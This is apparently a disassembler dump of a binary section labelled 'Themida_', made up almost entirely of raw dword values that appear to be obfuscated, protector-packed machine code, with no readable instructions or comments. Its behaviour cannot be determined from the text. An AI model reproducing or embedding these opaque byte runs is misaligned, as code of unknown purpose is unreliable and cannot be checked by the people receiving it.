		dd 97241D61h, 5FCC8ADCh, 10468h, 1CF8B00h, 731318Dh, 0A59D8D06h
		dd 6A06070Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0A38EC357h, 250583DBh,	0CB8B5303h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0BE2E7EC3h, 0DCE1D5C7h, 6258589h,	8A0F0607h
		dd 19h,	14E9h, 7B31DE00h, 305DD2B4h, 40211A2Bh,	5027585h
		dd 0C679E74Eh, 0A5858D1Dh, 6A06070Eh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7C03C357h
		dd 3C7CC2EFh, 0BF66404Fh, 81504D13h, 378CF2DAh,	0BA858D55h
		dd 0F060A00h, 6A50CAB7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0D424C350h,	16BB1478h
		dd 5BD89FBh, 8D060704h,	9F78D85h, 0EE906h, 0DDDA0000h
		dd 0CBF7D619h, 9640FC2Dh, 7E8EA30h, 8B605350h, 70C89BDh
		dd 919D2906h, 6106070Dh, 6995FF5Ah, 106072Bh, 7009595h
		dd 0CC48306h, 97DCBE60h, 0BD8B0FFBh, 607080Dh, 68006A61h
		dd 80h,	6A036Ah, 68006Ah, 8D800000h, 9F78D85h, 95FF5006h
		dd 6070729h, 9D8589h, 85C6060Ah, 6072C05h, 5E876847h, 0B5FFC7B1h
		dd 6071B2Dh, 3B24858Dh,	0D0FF0607h, 0B5FF006Ah,	60A009Dh
		dd 8B66D0FFh, 8FB966F8h, 37D03D2Ch, 830F0000h, 40h, 1329B509h
		dd 0B5FF0607h, 60A009Dh, 11E8h,	58E5BE00h, 8ABE7B93h, 5CA403EBh
		dd 32EDBF6Bh, 8D8B563Ah, 60712DDh, 0F995FF5Fh, 2906071Fh
		dd 716A1B5h, 0D3E906h, 8D330000h, 60703ADh, 9DB5FFh, 860F060Ah
		dd 3, 0FFC8B70Fh, 71FF995h, 6AF4B106h, 0CF42B900h, 81663902h
		dd 6A0ECDC1h, 0CE900h, 0CDD40000h, 20EB115Dh, 5FCCA4F3h
		dd 6A713Ah, 1D45B589h, 6A0607h,	1D39BD8Bh, 6A0607h, 27ADBD8Bh
		dd 6A0607h, 0FDE18166h,	0A1858D70h, 6A060A00h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 903BC350h, 5AB4833Ch, 2083480Bh, 418D8BF5h, 5006072Dh
		dd 426BF66h, 72995FFh, 6A0607h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 4E9D30C3h, 0C05924EFh
		dd 7BF680DFh, 0CDBD8951h, 5F060705h, 0FFFF883h,	1C585h
		dd 0A5B96600h, 2D858D88h, 6A0609BCh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 7932C356h
		dd 958B565Bh, 6072C01h,	8BD0FF5Ah, 7172995h, 89006A06h
		dd 710C99Dh, 658D3106h,	6A060717h, 0CE900h, 7AE80000h
		dd 21AD642Bh, 84456851h, 6AA41Ah, 0C8A0Fh, 810F0000h, 6
		dd 1DF9BD09h, 6A0607h, 3AD28166h, 89006A2Ch, 72FB185h
		dd 6AF88B06h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 5E5C89F7h, 6B408742h, 19BD8BF3h
		dd 0E8060730h, 5, 7BC34202h, 858D590Eh,	60A00A1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D7C35343h, 0CC381D4Dh
		dd 0E850D18Bh, 5, 93A498BFh, 18850F07h,	0E8000000h, 12h
		dd 0BF1F1FBFh, 0B7F85BB1h, 0BA36A7C4h, 5D606440h, 59596306h
		dd 72995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 42E3C0C3h, 9AA9619Ah, 83B7B606h
		dd 850FFFF8h, 8Ah, 7E9h, 2AC1600h, 0AE6C9B56h, 0FAA9B58Dh
		dd 0E9570609h, 0Bh
		dd 1BDAF7AFh, 63F59562h, 5F3A79F3h, 0A676858Dh,	0F570609h
		dd 48Bh, 0BDBA6600h, 950359B3h,	6072B71h, 6AD0FFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 547641C3h, 318D8980h, 6A060716h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95FF8F3Eh
		dd 60707D1h, 8589D08Bh,	60A009Dh, 6ACE8Bh, 23B9BF66h, 0E45BD8Bh
		dd 858D0607h, 60A0095h,	9E8h, 0D0B3B300h, 669B002Fh, 0BF0F3E64h
		dd 8D8B5FC9h, 6070395h,	46AFC50h, 1ADF8166h, 0BD858DBFh
		dd 906072Fh, 720B185h, 0BD8B5006h, 6071D89h, 0FE9006Ah
		dd 0A0000000h, 4E5BAF5Ah, 0FA5F8C9Dh, 550EC887h, 6ADE41h
		dd 4800Fh, 0BA660000h, 16A196Dh, 9DB5FFF5h, 0FF060A00h
		dd 72BC595h, 8F0F06h, 0E9000000h, 1AF6h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 41C35646h, 0EDBD8B5Ah
		dd 8B060704h, 519D09C0h, 60060717h, 127D858Bh, 0B7B90607h
		dd 610008BAh, 0FF5BD83h, 75000607h, 1BD8309h, 60730h, 53501974h
		dd 0D2B8C08Bh, 89000007h, 709D585h, 0A79D8D06h,	0FF0609ACh
		dd 83585BD3h, 73001BDh,	17740006h, 0D2B85350h, 89000007h
		dd 709D585h, 969D8D06h,	0FF0609A9h, 0F9585BD3h,	2B758529h
		dd 0C08B0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0C3C35545h, 14E94Ch, 0AA30000h,	0E8A7160Fh, 0B784401Ah
		dd 5D9C4530h, 63FE6D2Ah, 85C70032h, 607218Dh, 1, 6800Fh
		dd 9D890000h, 607282Dh,	0E4E7B868h, 95B5FFCEh, 8D06071Eh
		dd 73B2485h, 89D0FF06h,	71B5585h, 0F9858D06h, 50060A02h
		dd 5B6858Dh, 6850060Ah,	80000001h, 1B5595FFh, 0C00B0607h
		dd 85C70A75h, 60708B5h,	1, 5DBD468h, 95B5FFC0h,	8D06071Eh
		dd 73B2485h, 89D0FF06h,	7308D85h, 46858D06h, 500609F5h
		dd 1B2DB5FFh, 95FF0607h, 6070BE1h, 0B74C00Bh, 858DD88Bh
		dd 60A04F9h, 8DD3FF50h,	0A04F985h, 38836606h, 0C70A7509h
		dd 72AA185h, 106h, 0F195FF00h, 25060725h, 0FFh,	7305F883h
		dd 2585C70Ah, 1060713h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 627DC357h
		dd 0F87003D7h, 80FD2DF2h, 8D8BDAEAh, 607132Dh, 108BD80h
		dd 0F00060Ah, 3784h, 31605600h,	731B9BDh, 0FA89BE06h, 59615D7Ch
		dd 5B2BD83h, 0F00060Ah,	2684h, 15850F00h, 0E8000000h, 0Eh
		dd 686906B3h, 960D29CDh, 79A334DBh, 5FF8BD0Ah, 18FDE9h
		dd 0DD8D8B00h, 8306071Ch, 72AA1BDh, 850F0006h, 0E6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 40C35343h, 0C9B589F5h
		dd 0E8060720h, 9, 92D4B6F8h, 0CF097AD6h, 6830F65h, 1000000h
		dd 7013185h, 858D5906h,	60A00D2h, 0A9F18150h, 6A035D79h
		dd 51006A01h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 1D093850h, 6A8A1Ch, 627DC781h, 6A75F7h
		dd 3840Fh, 0E9800000h, 7995FF1Fh, 6A060713h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0D453C350h, 0FB6C2D9h, 8589CAB7h, 60A00FCh, 6AFABF0Fh
		dd 0F98B66FFh, 0FCB5FFh, 6A060Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 95FF10C3h, 6071AC9h
		dd 1CC58589h, 858D0607h, 609F50Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0C6C35141h,	0F4D8BA81h, 6A5058B3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 4CBCC353h, 7B9F2425h, 0D2BF0FEAh,	41CF8166h
		dd 0F195FF06h, 66060710h, 8589CB8Bh, 609F597h, 0F51A858Dh
		dd 81510609h, 58A455F7h, 57505F29h, 6102D181h, 0FF5F723Ch
		dd 9F597B5h, 57D18006h,	0BE195FFh, 958B0607h, 6070DD1h
		dd 1F5D8589h, 81F50607h, 28D131E7h, 88858D74h, 6A0609F5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 4EACC351h, 0E9858968h, 5006071Dh,	0A71BD8Bh
		dd 0B5FF0607h, 609F597h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0F7C35545h, 11E8BCh, 4EE30000h, 39C81815h
		dd 0D6AB66D8h, 0DA736421h, 803FDBAFh, 0B65FC7E6h, 0E195FF94h
		dd 0B206070Bh, 0AB858928h, 0B90609F5h, 17C797EAh, 0F567858Dh
		dd 85890609h, 6073249h,	0FFFA8B50h, 9F597B5h, 0D5853106h
		dd 0FF060714h, 70BE195h, 5DB58906h, 89060700h, 9F5A385h
		dd 0A9C28106h, 8D710C60h, 9F55A85h, 0B5FF5006h,	609F597h
		dd 2C99529h, 95FF0607h,	6070BE1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0BBC35747h,	35C04FBCh, 8D312076h
		dd 6070C35h, 66FB8B60h,	61CAB9B8h, 0F5A78589h, 0CE90609h
		dd 0AB000000h, 0F86E0861h, 115ABAD0h, 8D69892Ah, 9F57585h
		dd 0FB8B6606h, 0B59D8950h, 0FF06071Eh, 9F597B5h, 0C98D8B06h
		dd 0FF060702h, 70BE195h, 0F605106h, 8Dh, 61F0B500h, 0E185895Fh
		dd 29060715h, 70DD195h,	29858D06h, 8B0609F5h, 8A0F50C8h
		dd 6, 1A858D8Bh, 0B5FF0607h, 609F597h, 8AD28166h, 0E195FF64h
		dd 6006070Bh, 0FC8BAEB9h, 0AE97Fh, 2AC90000h, 6BC9C491h
		dd 840491EAh, 9B858961h, 290609F5h, 701458Dh, 38858D06h
		dd 890609F5h, 70989B5h,	6A5006h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 5CB2B9C3h, 0B80E75B9h
		dd 0FFDA9599h, 9F597B5h, 0FE906h, 14A50000h, 0E194C4D6h
		dd 4EF7836Dh, 0F6D50A81h, 0E195FF56h, 2B06070Bh, 716C995h
		dd 9F858906h, 8B0609F5h, 10468F8h, 0BD8B0000h, 6070129h
		dd 0F62F858Dh, 53500609h, 81BA6657h, 8D595A87h,	9F73385h
		dd 0CB8B6606h, 6FBA6650h, 0D95FF53h, 51060732h,	855915B1h
		dd 6850FC0h, 8B000000h,	705018Dh, 8BD8006h, 60A01h, 14850Fh
		dd 8B660000h, 1BE9F8FBh, 60000015h, 8B56ED80h, 706098Dh
		dd 0BD836106h, 6072AA1h, 41850F00h, 0BA000000h,	790045EBh
		dd 5B2BD83h, 0F00060Ah,	7784h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 3465DDCEh
		dd 0FF96845h, 78Fh, 81665100h, 5F7010D1h, 0F5CC858Dh, 9D890609h
		dd 6070FB9h, 14B1E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 296591CDh, 7122D95h, 0BD8B5006h
		dd 6070A31h, 41E95Ah, 0B5890000h, 6070415h, 0F5B7858Dh
		dd 6A0609h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0EFD5DDC3h, 20D8A3C5h, 810FA366h,	0Bh, 6E9h
		dd 0D59DB00h, 502869C6h, 0DE9h,	0A03D3100h, 3C007A67h
		dd 0EB1B2913h, 858DCC52h, 609F62Fh, 14E957h, 68CC0000h
		dd 778C3536h, 0EA1979E0h, 1C12FF7h, 0CDBBC169h,	505A63EAh
		dd 83D68B66h, 72AA1BDh,	840F0006h, 17h,	8D1FCA80h, 9F75585h
		dd 0DB58906h, 0E906071Fh, 9, 8D4BC180h,	9F73E85h, 8E0F5006h
		dd 2, 858DFB8Bh, 609F78Dh, 2860Fh, 33B60000h, 8D295650h
		dd 6070A7Dh, 89BD895Fh,	0FF06070Ah, 72B6995h, 83EF8A06h
		dd 0E28110C4h, 31004428h, 14E8C08Bh, 0EE000000h, 67F6049Bh
		dd 73D509E0h, 17D451F5h, 0F585C07Fh, 3392BED3h,	72C19BDh
		dd 0BD835A06h, 6070FF5h, 83097500h, 73001BDh, 19740006h
		dd 0C08B5350h, 7D3B8h, 0D5858900h, 8D060709h, 9ACA79Dh
		dd 5BD3FF06h, 1BD8358h,	60730h,	53501774h, 7D3B8h, 0D5858900h
		dd 8D060709h, 9A9969Dh,	5BD3FF06h, 14E958h, 0C8B0000h
		dd 0E177E323h, 0F0D1576Eh, 97408328h, 0B7215B68h, 0A6B604C7h
		dd 3199BD03h, 0C08B0607h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 8FC35040h, 0BD81F518h, 609F5B7h, 6165726Fh
		dd 0B6840Fh, 89500000h,	7318585h, 858D5A06h, 609F62Fh
		dd 6C858D50h, 500609F7h, 0F78D858Dh, 0FF500609h, 72B6995h
		dd 0CC48306h, 2C0585C6h, 68440607h, 96A3184Fh, 1B2DB5FFh
		dd 858D0607h, 6073B24h,	0D88BD0FFh, 0F78D858Dh,	0FF500609h
		dd 0B7858DD3h, 500609F5h, 0F62F858Dh, 83500609h, 72AA1BDh
		dd 8740006h, 0F755858Dh, 6EB0609h, 0F73E858Dh, 8D500609h
		dd 9F78D85h, 95FF5006h,	6072B69h, 6A10C483h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 3CF4C350h, 0D1816687h, 8E0F2394h, 0Ch, 6820Fh, 0BD8B0000h
		dd 6072DE1h, 25F195FFh,	7BBA0607h, 0F703715h, 58Eh, 0F1F9BF00h
		dd 0FF253345h, 29000000h, 7258D9Dh, 5F88306h, 5B830Fh
		dd 81660000h, 0C7137BF2h, 7132585h, 106h, 45BD8B00h, 8D060712h
		dd 9F5EB85h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 23846C79h, 35DE3B9Bh, 1A918D8Bh
		dd 68E90607h, 0F000000h, 0C8Dh,	6820F00h, 89000000h, 730F5B5h
		dd 0A1BD8306h, 6072Ah, 3D840Fh,	0B5290000h, 6071359h, 0F616858Dh
		dd 95890609h, 6071EA1h,	32E9h, 9D896000h, 6072D71h, 13E9h
		dd 0F4917A00h, 0A7853A9Bh, 6D9920D1h, 8610AE6Bh, 38FCC5AEh
		dd 45BD8B61h, 8D060701h, 9F5F885h, 258D8B06h, 89060731h
		dd 9F62B85h, 9E906h, 0D73C0000h, 810D02ADh, 8361BF4Fh
		dd 72AA1BDh, 850F0006h,	3Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0ABC35646h,	8BFEC5A0h, 5B2BD83h
		dd 0F00060Ah, 1684h, 830F5000h,	6, 27918D01h, 0E95A0607h
		dd 10F6h, 0E95BDA80h, 466h, 12E19D89h, 0C08B0607h, 0C318D8Bh
		dd 0BD830607h, 6070FF5h, 83097500h, 73001BDh, 19740006h
		dd 0C08B5350h, 7D4B8h, 0D5858900h, 8D060709h, 9ACA79Dh
		dd 5BD3FF06h, 1BD8358h,	60730h,	53501774h, 7D4B8h, 0D5858900h
		dd 8D060709h, 9A9969Dh,	5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0BE8E5h, 0C4C40000h
		dd 0CF1BCDD2h, 0C1E1A0E7h, 0E6BF66C3h, 9D895F4Ch, 6072E25h
		dd 840FC08Bh, 6, 27898529h, 3F680607h, 0F000F00h, 6AD0BFh
		dd 3CCDF181h, 6A22BCh, 1DE98D8Bh, 95FF0607h, 6071F5Dh
		dd 0C89B589h, 0C0850607h, 4850Fh, 0BF660000h, 858985FBh
		dd 609F5AFh, 3B5B501h, 0FE90607h, 0C3000000h, 2879A163h
		dd 49A22FC2h, 192165F8h, 6A0F82h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 7BC35141h, 0B0D2D181h, 6A2E56h
		dd 7E9h, 0FB8A2E00h, 5895E85h, 6E9006Ah, 64000000h, 0EA3FD063h
		dd 66006A7Dh, 6AF98Bh, 8DCA8B66h, 9F78D85h, 0DE906h, 0E3E70000h
		dd 6D62C3DBh, 9E75C9C6h, 506E20D0h, 1F5BD89h, 16A0607h
		dd 13A1B529h, 16A0607h,	6ACE8B66h, 0C8BF0F01h, 0F01FF68h
		dd 0C1816600h, 0BD835B23h, 6072AA1h, 4B840F00h
dword_529868	dd 50000000h, 6890Fh, 958B0000h, 6072D29h, 0C858D5Fh, 0E90609F6h
					; DATA XREF: Themida_:00516FF5o
		dd 14h,	0E83CC75Fh, 0EBC2CC59h,	98A60E3Bh, 0A1E100B5h
		dd 0D855DF4Fh, 25E9h, 14E900h, 35250000h, 0F4B8C339h, 0F39FEC10h
		dd 38A10075h, 4645F240h, 858D3AA2h, 609F5E2h, 13598589h
		dd 29500607h, 72D4D95h,	50FA8B06h, 0FFFFEA80h, 9F5AFB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 959582EFh, 0D962774Eh, 8D895010h, 6072A9Dh
		dd 9B95FF59h, 800609F5h, 0C08502D5h, 32850Fh, 53520000h
		dd 59F88B66h, 0A4E959h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0C1C1FC3h, 6BC18157h
		dd 59720188h, 0F5B38589h, 6A0609h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0FAD0B8C3h, 585B5132h
		dd 0B3B5FF39h, 6A0609F5h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 6095C355h, 5E8h, 17B1C300h
		dd 8503A792h, 6072DEDh,	898D8B5Eh, 6106071Dh, 15E195FFh
		dd 958B0607h, 6070DA9h,	850FC085h, 6, 1FCAC181h, 106A18D3h
		dd 12CD8589h, 0BD830607h, 6072AA1h, 62840F00h, 60000000h
		dd 0CE9h, 0F8DDF300h, 9F56AED9h, 0D31900BDh, 96F480C2h
		dd 10E961h, 1DF0000h, 0E134611Fh, 0F8D30F8Dh, 75623B7Fh
		dd 858DA479h, 609F60Ch,	0DE9h, 55B60B00h, 351FF5F9h, 9915E92Bh
		dd 28E960C8h, 0E9000000h, 0Fh, 0B2CD93AAh, 0F4D0908h, 6E49C093h
		dd 8B56BE2Fh, 7162195h,	0E2858D06h, 0F0609F5h, 28Ah, 50FEB100h
		dd 6C58D33h, 0B5FF0607h, 609F5AFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0DCC35242h,	95FFA8FDh, 609F5A7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 72C35545h
		dd 8F4FD11Ch, 0BF0FC2B2h, 0FC085D3h, 285h, 89FCFC00h, 9F5B385h
		dd 0F5B50906h, 6A06071Eh, 0CE900h, 0B2800000h, 56432EFDh
		dd 6128EE1Ah, 6AD1EFh, 2FB9BD8Bh, 81660607h, 0FF68FBEAh
		dd 9F5B3B5h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 13866F57h, 9F95FFDBh, 10609F5h, 72C2985h
		dd 0FC08506h, 285h, 0FFDEB600h,	9F5B3B5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0A1D7905Ch, 82008065h, 8D89A630h, 6070C15h, 15E195FFh
		dd 0C0850607h, 4850Fh, 0B9660000h, 6A717Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B5C35747h, 9D89E100h
		dd 60709F1h, 8068h, 1C830F00h, 0E8000000h, 14h,	75514423h
		dd 19C8F836h, 0DC72568Bh, 0F96B162Bh, 63526033h, 6A5A6160h
		dd 25958B03h, 6A060716h, 6ACE8B00h, 2B96600h, 68FBh, 6AC000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B5FFAEC3h, 609F62Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 2DC35747h, 57DC569h, 0BD8BEE7Fh, 6070DD9h
		dd 72995FFh, 8A0F0607h,	0Ah, 5E9h, 0F1002500h, 0F883053Fh
		dd 3850FFFh, 57000005h,	0FF5AF98Bh, 0A009985h, 0AD958B06h
		dd 83060713h, 0A0099BDh, 840F0206h, 3F7h, 3B858DF8h, 60005B24h
		dd 50DEB70Fh, 1D5950Bh,	615E0607h, 8B66D0FFh, 8E858DD1h
		dd 0E9005B1Eh, 11h, 0E251FB46h,	4883F072h, 0B3A0C9EBh
		dd 0F1FEFCFh, 8BD0FFD5h, 0E9C08BFEh, 9,	0DEEE78DEh, 0B45283F2h
		dd 0BE8ABh, 8A50000h, 0DA089DF2h, 3C753736h, 7E9B6h, 0B80A0000h
		dd 2C7A4B55h, 0BD835F97h, 6070FF5h, 83097500h, 73001BDh
		dd 19740006h, 0C08B5350h, 7D8B8h, 0D5858900h, 8D060709h
		dd 9ACA79Dh, 5BD3FF06h,	1BD8358h, 60730h, 53501774h, 7D8B8h
		dd 0D5858900h, 8D060709h, 9A9969Dh, 5BD3FF06h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 8F20F7F5h, 0DF8129FDh, 6403201Eh, 5E8h, 0C4EB9500h
		dd 8157820Bh, 1B2372E9h, 8B5F5A23h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 3C58E8B5h
		dd 0A5A04B8Bh, 4FF68062h, 0F003F68h, 99BD8900h,	6A06072Eh
		dd 0F7816600h, 6A3138h,	8B99529h, 95FF0607h, 6071F5Dh
		dd 11B58960h, 0E9060720h, 6, 0AC15BA2Dh, 85615B8Bh, 0F28166C0h
		dd 85891F52h, 609F5AFh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0D2C35343h, 0B7CFEB56h, 0A5952995h, 6806071Ch
		dd 0F01FFh, 27B5BD8Bh, 0BD830607h, 6072AA1h, 3A840F00h
		dd 9000000h, 70AF9B5h, 0C858D06h, 8B0609F6h, 710F98Dh
		dd 4DE906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 190424h, 50400000h, 0B1F294C3h, 8A48A1B0h, 0E2858DD4h
		dd 6A0609F5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 9072C355h, 2E00FC6Dh, 5038B228h
		dd 6E960h, 9C710000h, 8C7FF3C9h, 6AC2D081h, 0FF6175C0h
		dd 9F5AFB5h, 0ED952906h, 0FF06071Dh, 9F5A795h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0F7CF2B83h, 8589EFFAh, 609F5B3h, 201D8501h, 85C70607h
		dd 60712B5h, 0
		dd 0DFD9D29h, 0BD830607h, 609F5B3h, 82840F00h, 8D000001h
		dd 9F89185h, 4830F06h, 66000000h, 509467B9h, 258D0960h
		dd 89060721h, 706699Dh,	8D0F6106h, 3, 6AFB8B66h, 0C88B6601h
		dd 0F5B3B5FFh, 95290609h, 6072545h, 0F5AB95FFh,	85010609h
		dd 607156Dh, 0F5B3B5FFh, 0C1810609h, 22442AC4h,	15E195FFh
		dd 0BA660607h, 0FF6855CDh, 81000F01h, 0A23DAAF7h, 0A1BD8318h
		dd 6072Ah, 4B840Fh, 0B1600000h,	0E781667Eh, 8D61031Ah
		dd 9F60C85h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 20660FDAh, 275D8D8Bh, 4CE90607h
		dd 0F000000h, 680h, 0C5BD2300h,	8B060701h, 72FCDBDh, 0E2858D06h
		dd 6A0609F5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0DAFFC355h, 9FBAAF13h,	0C860FB1h
		dd 0E9000000h, 7, 20A224h, 505C7C62h, 0BD958B60h, 29060715h
		dd 721AD9Dh, 0B5FF6106h, 609F5AFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0A6C35040h,	0F8C69AE9h, 0A795FFF8h
		dd 0F0609F5h, 8589CAB7h, 609F5B3h, 0ADBD8B60h, 9060704h
		dd 7323DBDh, 0B5FF6106h, 609F5B3h, 8E28166h, 0A395FFCCh
		dd 0BA0609F5h, 4E98E7Ch, 0C69EDCBAh, 0B3B5FF73h, 660609F5h
		dd 81BED2BAh, 80D5C8EFh, 0E195FF4Eh, 29060715h,	71B158Dh
		dd 0F6C8E906h, 9531FFFFh, 6070CE1h, 0FF3CD580h,	0A00FCB5h
		dd 0CF816606h, 95FF7016h, 60700BDh, 14ADB531h, 858B0607h
		dd 60730E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	21C35141h, 0E9FA8BFDh, 566h, 8DFBBF0Fh,	9F8B1B5h
		dd 0F5BD2B06h, 8D060710h, 9A67685h, 98F18106h, 8A7DA45Ch
		dd 0FD0FFD0h, 689h, 0D9958B00h,	6A06070Dh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 6A34B7Ch, 0D11D7CD9h, 0D195FFFCh, 23060707h,	714BD8Dh
		dd 0BE906h, 79190000h, 0AA9200F0h, 0BA16A8DBh, 0BFF38BA0h
		dd 2D19F5BFh, 2021BD03h, 858D0607h, 609A676h, 11E9h, 5B4A5F00h
		dd 1C926A5Bh, 8A6A03F1h, 3504701Fh, 0D0FF1382h,	378B69BFh
		dd 80006A3Ah, 95FF87C2h, 60707D1h, 5D5BD2Bh, 0C08B0607h
		dd 0BD83FEB6h, 6070FF5h, 83097500h, 73001BDh, 19740006h
		dd 0C08B5350h, 7D9B8h, 0D5858900h, 8D060709h, 9ACA79Dh
		dd 5BD3FF06h, 1BD8358h,	60730h,	53501774h, 7D9B8h, 0D5858900h
		dd 8D060709h, 9A9969Dh,	5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 96AF9FB8h
		dd 2E61D955h, 958951BFh, 6072FC5h, 0EF816659h, 0C08B7A91h
		dd 25ED8D01h, 6A500607h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9F9CC356h, 4D75D63h
		dd 3D5D41F2h, 8D53D88Bh, 724C99Dh, 89038B06h, 50438B03h
		dd 8D504389h, 0A00959Dh, 89038B06h, 0CB8B5B03h,	68F0Fh
		dd 958B0000h, 6071271h,	14E9006Ah, 0C4000000h, 8E8FDB9Fh
		dd 2FEBF6E0h, 0DAEF2475h, 2DC92E63h, 8D237442h,	0A009585h
		dd 3850F06h, 66000000h,	8B50CF8Bh, 70BCD95h, 6A606A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0A84CC357h, 958B0811h, 6071D61h, 8DFA8B66h
		dd 724C985h, 10830F06h,	0E9000000h, 0Bh, 8A46DD89h, 0DE59EA83h
		dd 5093154Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	22C35747h, 0E40FC85Eh, 6143EF03h, 0E8006A70h, 5
		dd 4ADE3673h, 0B98D8B94h, 59060716h, 0BD89006Ah, 60731B1h
		dd 180068h, 0E9953100h,	53060721h, 0FFF98B66h, 72BC595h
		dd 0FFCF8B06h, 71FF995h, 60F98B06h, 28C0Fh, 61600000h
		dd 615BFC52h, 0FCB5FFh,	6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 912617C3h, 43457188h
		dd 9DBD8BF7h, 0FF06071Dh, 700BD95h, 5E806h, 0D8FE0000h
		dd 89C940B5h, 72C81B5h,	858D5906h, 60724C9h, 1EF1BD31h
		dd 408B0607h, 0C7DDB118h, 7215D85h, 6, 9EF28100h, 837FC4E2h
		dd 72AA1BDh, 840F0006h,	52h, 3D10D980h,	8Ch, 18F830Fh
		dd 0CE90000h, 0E0000000h, 0AC450039h, 0AB6F729Bh, 2BAB9749h
		dd 72CAD8Dh, 3AE906h, 0E9600000h, 7, 6A44E66Dh,	0E8B8F225h
		dd 0Fh,	0CAE7C998h, 0D565C01h, 0F30B638Dh, 668929A1h, 20C2C281h
		dd 983D615Ah, 0F000000h, 14083h, 0D58A6000h, 0D68B61FCh
		dd 243B858Dh, 0FE9005Bh, 71000000h, 8C405217h, 0FC11B410h
